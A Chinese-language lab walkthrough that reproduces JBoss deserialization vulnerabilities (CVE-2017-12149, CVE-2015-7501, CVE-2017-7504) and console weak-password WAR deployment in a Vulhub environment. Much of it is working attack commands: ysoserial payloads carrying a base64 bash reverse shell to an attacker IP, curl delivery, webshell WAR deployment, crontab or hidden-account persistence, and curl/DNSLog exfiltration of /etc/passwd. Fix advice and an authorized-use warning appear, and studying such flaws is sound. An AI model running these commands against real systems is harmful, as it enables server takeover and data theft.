Java反序列化漏洞实战：Jboss高危漏洞复现与安全加固指南

1. 项目概述：为什么Jboss漏洞复现是安全从业者的必修课

如果你在甲方做安全运维，或者在乙方做渗透测试，又或者是个刚入门的安全爱好者，那么“Jboss漏洞复现”这个标题对你来说，绝对不是一个陌生的词汇。它几乎是安全圈里一个标志性的“老熟人”，也是很多安全工程师技术成长路上绕不开的一道坎。我从业十多年，从早期的Struts2、WebLogic到现在的各种云原生漏洞，Jboss系列漏洞的复现和分析，始终是检验一个安全人员基础是否扎实、思路是否清晰的试金石。

Jboss，现在更多被称为WildFly，是一个开源的Java应用服务器。在Web应用大行其道的年代，它和Tomcat、WebLogic、WebSphere并称为Java EE的“四大金刚”，被广泛应用于企业级应用部署。然而，正是由于其广泛的应用和复杂的架构，历史上曝出的多个高危反序列化漏洞，如CVE-2015-7501、CVE-2017-7504、CVE-2017-12149，都曾让无数企业的服务器门户大开。这些漏洞的共同特点是：利用链成熟、危害极大（可直接获取服务器权限）、影响版本广泛。复现这些漏洞，不仅仅是学会敲几条命令，更重要的是理解其背后的 Java反序列化漏洞原理 、 Jboss的组件架构 以及 在实战中如何快速识别和利用 。

这篇文章，我将以一个老兵的视角，带你从零开始，手把手复现Jboss的几个经典高危漏洞。我不会只给你一个冷冰冰的Exp脚本，而是会拆解每一个步骤背后的逻辑：为什么这个路径存在漏洞？Payload为什么要这么构造？遇到各种报错该如何排查？同时，我也会分享一些在真实渗透测试和红队评估中，如何快速定位存在漏洞的Jboss服务的实战技巧。无论你是想巩固基础的安全新人，还是需要应对HW行动的一线工程师，相信这篇超过5000字的深度实操指南，都能给你带来实实在在的收获。

2. 环境准备与核心思路解析：打造你的专属漏洞实验室

在动手之前，我们必须把“战场”准备好。漏洞复现不是在生产环境瞎搞，一个隔离、可控、可快速重置的实验环境是安全研究的第一原则。

2.1 靶场环境搭建：Vulhub的妙用

对于Jboss这类历史漏洞，最方便、最标准的复现环境就是使用Vulhub。Vulhub是一个基于Docker和Docker-compose的漏洞靶场集成项目，它为我们预置了几乎所有知名漏洞的环境，一键启动，省去了自己找源码、配环境、编译的繁琐过程。

操作步骤与原理：

1. 安装Docker与Docker-compose ：这是基础。Docker负责容器化运行每个漏洞环境，Docker-compose则用于编排和管理多容器应用。在Ubuntu上，你可以用 apt-get install docker.io docker-compose 来安装。确保安装后执行 docker --version 和 docker-compose --version 验证。
2. 拉取Vulhub项目 ：在你的实验机（推荐使用Linux系统，如Ubuntu）上，找一个合适的目录，执行 git clone https://github.com/vulhub/vulhub.git 。如果网络不畅，也可以去GitHub Releases页面下载ZIP包。
3. 定位并启动特定漏洞环境 ：进入Vulhub目录后，你会发现按漏洞类型和产品分门别类的文件夹。对于Jboss，路径通常是 vulhub/jboss/ 。在这个目录下，你会看到以CVE编号命名的子目录，例如 CVE-2015-7501 、 CVE-2017-7504 等。
4. 一键启动 ：进入你想复现的漏洞目录，例如 cd /vulhub/jboss/CVE-2017-12149 ，然后执行 docker-compose up -d 。这个命令会读取当前目录下的 docker-compose.yml 配置文件，自动从Docker Hub拉取对应的漏洞镜像并启动容器。 -d 参数代表后台运行。

注意 ：第一次运行可能会因为拉取镜像而较慢。执行成功后，使用 docker ps 命令，你应该能看到一个运行中的容器，其端口映射通常是 8080->8080 ，这意味着靶场服务已经在你的本地 127.0.0.1:8080 端口监听了。

为什么选择Vulhub？

• 还原度高 ：Vulhub的镜像通常直接使用存在漏洞的软件版本，最大程度还原了漏洞产生的原始环境。
• 隔离安全 ：所有漏洞都在独立的Docker容器中运行，与宿主机隔离，即使复现过程中执行了反弹Shell等操作，也仅限于容器内部，不会影响你的主机。
• 快速重置 ：复现完成后，一句 docker-compose down 即可销毁当前环境。下次想再练习，重新 up -d 即可，环境又是全新的。这对于需要反复尝试的练习来说，效率极高。

2.2 攻击机工具准备：ysoserial与反向Shell

漏洞利用的核心是生成能够触发漏洞的Payload。对于Jboss的反序列化漏洞，业界神器就是 ysoserial 。

ysoserial是什么？ 它是一个用于生成利用不安全的Java对象反序列化漏洞的Payload的工具集合。简单来说，Java程序在反序列化一个对象时，如果这个对象数据被恶意构造，就可能触发一系列预定义的函数调用链（Gadget Chain），最终导致任意代码执行。ysoserial内置了针对Apache Commons Collections、Spring、Jdk等常用库的多种利用链（Gadget）。

获取与使用：

1. 下载 ：从ysoserial的GitHub发布页面下载最新的JAR包，例如 ysoserial-0.0.6-SNAPSHOT-all.jar 。
2. 基本用法 ： java -jar ysoserial.jar [Gadget] “[command]” 。你需要根据目标环境选择正确的Gadget（如 CommonsCollections5 ），并在 [command] 处替换成你想执行的系统命令。

关于反弹Shell的命令构造： 这是新手最容易卡住的地方。在Java中，通过 Runtime.getRuntime().exec() 执行系统命令时，它并不像在Bash终端里那样直接解析管道符 | 、重定向 >& 等符号。因此，直接执行 bash -i >& /dev/tcp/攻击IP/端口 0>&1 这样的经典反弹Shell命令通常会失败。

解决方案是进行Base64编码：

# 1. 将反弹Shell命令进行Base64编码
echo “bash -i >& /dev/tcp/10.0.0.1/4444 0>&1” | base64
# 输出：YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDA+JjE=

# 2. 构造ysoserial的Payload命令
# 命令解释：解码Base64字符串并通过bash执行
java -jar ysoserial.jar CommonsCollections5 “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}” > payload.ser

这条命令的意思是：生成一个利用 CommonsCollections5 链的序列化数据，当它在目标服务器上被反序列化时，会执行一个bash命令。这个bash命令是：将Base64字符串解码后，通过管道传递给另一个bash进程进行交互式执行。

攻击机监听： 在攻击机上，你需要用Netcat监听一个端口，等待靶机反弹连接回来。

nc -lvnp 4444

-l 监听， -v 详细输出， -n 不解析域名， -p 指定端口。

至此，靶场和攻击工具都已就绪。这套“Vulhub + ysoserial + Netcat”的组合，是复现绝大多数Java反序列化漏洞的标准化流程，务必熟练掌握。

3. CVE-2017-12149漏洞深度复现与原理剖析

CVE-2017-12149是Jboss反序列化漏洞家族中最著名、影响最广的一个，影响了JBoss AS 5.x/6.x的多个版本。它的复现过程非常典型，理解了它，其他类似漏洞也就触类旁通了。

3.1 漏洞原理：HttpInvoker与ReadOnlyAccessFilter

要利用一个漏洞，首先得知道它“为什么”存在。Jboss AS 5.x/6.x 版本包含了一个叫 http-invoker.sar 的组件。这个组件提供了一个基于HTTP的RMI（远程方法调用）服务，允许客户端远程调用服务器上的Java对象方法。

问题出在 /invoker/readonly 这个HTTP端点。当请求这个路径时，会经过一个名为 ReadOnlyAccessFilter 的过滤器。这个过滤器的本意，是希望处理一些“只读”的请求。然而，它在处理请求体（Request Body）时，犯了一个致命错误： 它直接读取了客户端发送过来的数据流，并尝试对其进行Java反序列化，而没有对反序列化的数据做任何安全性检查和校验。

这就好比小区的门卫，看到一个写着“快递”的箱子就直接放行，根本不检查里面装的是不是危险品。攻击者可以精心构造一个恶意的序列化对象（利用ysoserial生成），将其放在POST请求体中发送给 /invoker/readonly 。Jboss服务器会忠实地执行反序列化操作，从而触发我们预设的恶意代码执行链。

3.2 步步为营的复现过程

假设你的靶场IP是 192.168.1.100 ，攻击机IP是 192.168.1.50 。

步骤一：启动靶场环境

cd vulhub/jboss/CVE-2017-12149
docker-compose up -d

访问 http://192.168.1.100:8080 ，你应该能看到Jboss的默认欢迎页面。这证明服务已正常启动。

步骤二：生成恶意序列化Payload 在攻击机上，使用ysoserial生成一个执行命令的Payload。我们先从一个无害的命令开始，验证漏洞是否存在，比如在目标服务器的 /tmp 目录下创建一个文件。

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 “touch /tmp/test_cve_2017_12149” > payload.ser

这条命令生成了一个名为 payload.ser 的二进制文件，里面包含了利用 CommonsCollections5 链构造的序列化数据，当被反序列化时，会执行 touch /tmp/test_cve_12149 命令。

实操心得：Gadget链的选择 为什么用 CommonsCollections5 ？因为目标Jboss 5.x/6.x 环境中，通常包含有漏洞版本的Apache Commons Collections库（如3.1、3.2.1），而 CommonsCollections5 是ysoserial中对该库一个比较通用的利用链。如果这个链不成功，可以尝试 CommonsCollections1 、 CommonsCollections2 等。在实际渗透中，这往往需要一些试探。

步骤三：发送Payload，触发漏洞 使用curl命令，将生成的 payload.ser 文件作为二进制数据，POST到靶机的漏洞路径。

curl http://192.168.1.100:8080/invoker/readonly --data-binary @payload.ser

• --data-binary @payload.ser : 这个参数告诉curl，将指定文件的内容作为原始的二进制数据发送，这对于序列化Payload至关重要。如果用 -d 参数，可能会对数据进行编码，导致Payload失效。

步骤四：验证命令执行 进入靶场的Docker容器，检查命令是否成功执行。

# 首先查看运行中的容器ID
docker ps
# 假设容器ID是 abc123，进入容器shell
docker exec -it abc123 /bin/bash
# 在容器内检查文件
ls -la /tmp/ | grep test_cve_2017_12149

如果看到 test_cve_2017_12149 这个文件，恭喜你，漏洞复现成功！这证明目标Jboss服务器能够反序列化我们的Payload并执行系统命令。

步骤五：升级利用：反弹Shell 创建文件只是验证，我们的最终目标是获取一个交互式的Shell。现在我们来生成反弹Shell的Payload。

1. 在攻击机 192.168.1.50 上，用Netcat监听4444端口： nc -lvnp 4444 。
2. 构造Base64编码的反弹Shell命令并生成Payload：

   # 编码命令
   echo “bash -i >& /dev/tcp/192.168.1.50/4444 0>&1” | base64
   # 假设输出为：YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuNTAvNDQ0NCAwPiYx
   # 生成Payload
   java -jar ysoserial.jar CommonsCollections5 “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuNTAvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}” > reverse.ser
   

3. 发送Payload： curl http://192.168.1.100:8080/invoker/readonly --data-binary @reverse.ser 。
4. 观察你的Netcat监听窗口，如果一切顺利，你应该会收到一个来自靶机容器的Shell连接。

3.3 漏洞修复与缓解措施

复现漏洞是为了更好地防御。对于CVE-2017-12149，主要有以下几种处理方式：

1. 升级版本 ：升级到不受影响的Jboss AS 7.x或更高版本（WildFly）。这是最根本的解决方案。
2. 删除漏洞组件 ：如果业务不需要 http-invoker.sar 提供的HTTP Invoker服务，可以直接删除 JBOSS_HOME/server/default/deploy/http-invoker.sar 这个目录，然后重启Jboss。删除后，访问 /invoker/readonly 会返回404。
3. 添加访问控制 ：在 http-invoker.sar 组件下的 web.xml 文件中，添加安全约束（security-constraint），对该上下文路径进行访问控制，例如只允许特定IP段访问。

4. CVE-2015-7501与CVE-2017-7504漏洞联动分析

这两个漏洞与CVE-2017-12149原理相似，都是由于对用户可控的序列化数据进行了不安全的反序列化操作，只是触发的路径和影响的组件略有不同。

4.1 CVE-2015-7501：JMXInvokerServlet的反序列化

这个漏洞影响更早的版本，漏洞路径是 /invoker/JMXInvokerServlet 。JMX（Java Management Extensions）是Java的管理扩展框架，这个Servlet用于处理JMX over HTTP的请求。

复现过程：

1. 启动Vulhub对应环境： cd vulhub/jboss/CVE-2015-7501 && docker-compose up -d 。
2. 利用方式与CVE-2017-12149几乎一模一样，只是发送Payload的URL不同：

   # 生成Payload
   java -jar ysoserial.jar CommonsCollections1 “touch /tmp/test_cve_2015_7501” > payload1.ser
   # 发送Payload
   curl http://192.168.1.100:8080/invoker/JMXInvokerServlet --data-binary @payload1.ser
   

   注意 ：这里示例使用了 CommonsCollections1 链，在实际测试中，也需要根据目标环境尝试不同的链。

延伸路径 ： /invoker/EJBInvokerServlet 路径也存在相同的反序列化问题，测试方法同上。

4.2 CVE-2017-7504：JBossMQ JMS组件的漏洞

这个漏洞影响JBoss AS 4.x及更早版本，漏洞路径是 /jbossmq-httpil/HTTPServerILServlet 。JBossMQ是Jboss早期版本的消息队列组件，HTTPServerILServlet是其HTTP调用层的一个服务。

复现过程：

1. 启动环境： cd vulhub/jboss/CVE-2017-7504 && docker-compose up -d 。
2. 生成并发送Payload：

   java -jar ysoserial.jar CommonsCollections5 “touch /tmp/test_cve_2017_7504” > payload2.ser
   curl http://192.168.1.100:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @payload2.ser
   

对比与关联分析： 这三个漏洞（CVE-2015-7501, CVE-2017-7504, CVE-2017-12149）构成了Jboss反序列化漏洞的“经典三部曲”。它们揭示了Jboss架构中一个持续存在的安全问题： 过度信任客户端输入 。不同的组件（JMX Invoker, JBossMQ HTTP IL, HttpInvoker）在处理远程调用时，都采用了类似的不安全反序列化机制。

在实战渗透中，当我们发现一个Jboss服务时，可以编写一个简单的脚本，批量探测这些经典路径：

/invoker/JMXInvokerServlet
/invoker/EJBInvokerServlet
/jbossmq-httpil/HTTPServerILServlet
/invoker/readonly

如果任何一个路径返回的状态码不是404或403，那么它就可能存在风险。这种“路径扫描”是信息收集阶段非常有效的一环。

5. Jboss 4.x 控制台弱口令与War包部署Getshell

除了反序列化这种“高技术”漏洞，Jboss早期版本（如4.x）的管理控制台也存在典型的“低技术”但高威胁的问题—— 弱口令 和 未授权访问 。

5.1 漏洞入口：jmx-console 与 web-console

Jboss 4.x 提供了两个Web管理界面：

• http://目标:8080/jmx-console/ ：JMX控制台，用于管理和监控MBean。
• http://目标:8080/web-console/ ：Web控制台。

这两个控制台默认情况下可能没有启用强认证，或者使用了众所周知的默认凭证。常见的弱口令组合有：

• admin / admin
• jboss / jboss
• admin / (空密码)

5.2 利用流程：从登录到War包部署

假设我们通过弱口令 admin:admin 成功登录了 jmx-console 。

1. 寻找部署点 ：登录后，在JMX控制台页面中找到名为 jboss.deployment 的MBean。其完整名称通常类似 jboss.deployment:type=DeploymentScanner,flavor=URL 。点击进入其管理页面。
2. 操作部署 ：在该MBean的操作列表中，你会找到 addURL() 或类似功能的方法。它需要一个参数：一个指向War包URL的字符串。这意味着，Jboss可以从一个远程URL自动下载并部署War应用。
3. 准备War木马 ：我们需要一个包含Webshell的War包。
   • 方法一（手工） ：创建一个包含JSP Webshell的文件夹，然后用jar命令打包： jar -cvf shell.war . （注意最后有个点，表示当前目录）。
   • 方法二（工具） ：使用冰蝎（Behinder）、哥斯拉（Godzilla）等Webshell管理工具，它们通常都有一键生成War包的功能，非常方便。例如，冰蝎的JSP马生成的War包，可以直接在冰蝎客户端连接。
4. 提供远程URL ：将生成的 shell.war 放在一个攻击机能够访问的Web服务器上。可以用Python快速启一个HTTP服务： python3 -m http.server 8000 。这样，War包的URL就是 http://攻击机IP:8000/shell.war 。
5. 触发部署 ：在JMX控制台的 addURL 方法输入框里，填入上述War包的URL，点击调用。如果返回成功，Jboss就会从你的服务器下载并部署这个War应用。
6. 访问Webshell ：部署成功后，War包会被解压到Jboss的某个部署目录。访问路径通常是 http://目标:8080/shell/ （其中 shell 是你的War包名，不包含 .war 后缀）。你的JSP Webshell文件如果放在War包的根目录，访问路径可能就是 http://目标:8080/shell/shell.jsp 。
7. 连接管理 ：使用冰蝎或哥斯拉客户端，连接上述Webshell地址，输入密码，即可获得一个图形化或命令行的Web管理界面。

5.3 实战技巧与注意事项

• 耐心等待 ：通过JMX控制台远程部署War包，速度可能很慢，特别是网络不畅或War包较大时。部署状态不会实时刷新，需要等待几分钟甚至更久，期间可以尝试访问你的Webshell路径，或者刷新Jboss的部署管理页面查看状态。
• 路径探测 ：如果不知道War包部署后的具体上下文路径，可以尝试访问 /jmx-console 查看已部署应用列表，或者直接暴力猜测常见路径，如 /shell 、 /mgr 、 /upload 等。
• 权限维持 ：通过War包部署的Webshell是文件形式，容易被安全软件或管理员发现。更隐蔽的方式是，在获取Shell后，尝试向 crontab 或启动项写入后门，或者添加一个隐藏的用户账号。
• 修复建议 ：对于这类问题，最有效的办法是 升级到不再包含这些老旧控制台的高版本Jboss/WildFly 。如果必须使用，务必修改默认密码，配置文件路径通常为： JBOSS_HOME/server/default/conf/props/jmx-console-users.properties 和 web-console-users.properties 。其次，在防火墙或安全组策略上，严格限制对管理控制台端口（8080等）的访问来源IP。

6. 常见问题排查与实战经验分享

纸上得来终觉浅，绝知此事要躬行。在真实的复现和测试过程中，你一定会遇到各种各样的问题。下面我总结了一些常见的坑和解决思路。

6.1 Payload发送成功但无回显？

这是最常见的问题。你执行了curl命令，返回了HTTP 200状态码，但去目标服务器检查，发现命令没执行（比如 /tmp 下没创建文件）。

排查思路：

1. Gadget链不匹配 ：目标Jboss环境中可能不存在你使用的Commons Collections库版本，或者版本不兼容导致利用链无法触发。 解决方案 ：换用ysoserial中的其他Gadget链尝试，如 CommonsCollections1 , CommonsCollections2 , CommonsCollections3 , CommonsCollections4 , CommonsCollections6 , CommonsCollections7 。在实战中，编写一个脚本批量尝试所有可能的链是常规操作。
2. Java版本限制 ：某些Gadget链对Java版本有要求。例如，一些基于 TemplatesImpl 的链在高版本Java（如8u191之后）可能因安全机制失效。 解决方案 ：确认靶场环境的Java版本。Vulhub的镜像通常使用存在漏洞的旧版本Java，这个问题不常见，但自己搭建环境时需要注意。
3. 命令执行上下文问题 ：通过Java反序列化执行的命令，其权限和环境变量可能与直接登录Shell不同。 touch /tmp/test 是相对可靠的测试命令。如果反弹Shell失败，可以先用 curl http://攻击机IP:8000/ 或 wget http://攻击机IP:8000/ 这类带外（OOB）命令测试网络连通性和命令执行，在攻击机用 tcpdump 或HTTP服务日志查看是否有请求进来。
4. 防火墙或网络策略 ：靶机可能出网受限，导致反弹Shell连接失败。 解决方案 ：尝试使用不依赖出网的利用方式，比如写入Webshell到Web目录，或者执行如 cat /etc/passwd > /webapp/static/result.txt 这样的命令，将结果输出到Web可访问的位置。

6.2 如何快速判断目标Jboss版本和可能存在的漏洞？

在真实的渗透测试信息收集阶段，我们如何快速评估一个Jboss服务的风险？

1. 指纹识别 ：

   • HTTP响应头 ：访问根路径，查看HTTP响应头中的 Server 或 X-Powered-By 字段，有时会包含Jboss版本信息。
   • 默认页面与路径 ：不同版本的Jboss默认欢迎页面和存在的管理路径有所不同。通过爬虫或目录扫描工具（如dirsearch, gobuster）扫描常见路径，可以帮助判断版本和暴露面。
   • 错误信息 ：访问一个不存在的路径或触发一个错误，Jboss返回的错误页面有时会包含版本详情。

2. 路径探测 ：使用工具（如Burp Suite的Intruder，或自定义脚本）批量请求上一节提到的经典漏洞路径（ /invoker/readonly , /jmx-console 等）。如果返回状态码是200、500（可能触发反序列化错误）而非404，则说明该端点存在，需要重点测试。

3. 版本与漏洞映射 ：

   • 看到 jmx-console 或 web-console ，优先想到4.x版本的弱口令和War部署。
   • 看到 /invoker/readonly 返回200，极大概率存在CVE-2017-12149。
   • 看到 /invoker/JMXInvokerServlet ，考虑CVE-2015-7501。
   • 对于更老的系统， /jbossmq-httpil/HTTPServerILServlet 指向CVE-2017-7504。

6.3 反序列化利用的“无回显”攻击

在实战中，很多内网系统不出网，或者命令执行了但你看不到结果（无回显）。这时候就需要一些技巧。

1. DNSLog外带数据 ：这是最常用的OOB（Out-Of-Band）技术。让目标服务器执行一条DNS查询命令，将命令执行结果作为子域名的一部分，发送到我们可控的DNS服务器。例如，执行 nslookup $(whoami).你的dnslog域名 。通过查看DNS解析日志，就能看到 whoami 命令的输出。网上有很多免费的DNSLog平台（如ceye.io, dnslog.cn）提供此服务。
2. HTTP外带数据 ：让目标服务器访问一个特定的URL，并将数据附加在URL参数、路径或Header中。例如： curl http://攻击机IP:8000/$(cat /etc/passwd | base64) 。然后在攻击机的Web服务器日志里，就能看到被Base64编码的 /etc/passwd 内容。
3. 延时判断 ：通过执行 sleep 5 这样的命令，观察请求响应时间是否有明显延迟，来判断命令是否执行。虽然不能带回数据，但可以用于验证漏洞是否存在。

6.4 关于工具使用的安全警告

最后，必须强调一点： ysoserial等漏洞利用工具，以及本文所述的所有技术，仅限用于授权的安全测试、教育学习或个人研究环境。 未经授权对任何系统进行渗透测试是违法行为。请在像Vulhub这样完全受控的实验室环境中进行所有复现和学习操作。理解漏洞原理，是为了更好地构建防御。当你掌握了攻击者的手段，你才能更有效地从防御者的角度去思考如何加固系统、部署WAF规则、编写检测脚本，这才是安全工作的真正价值所在。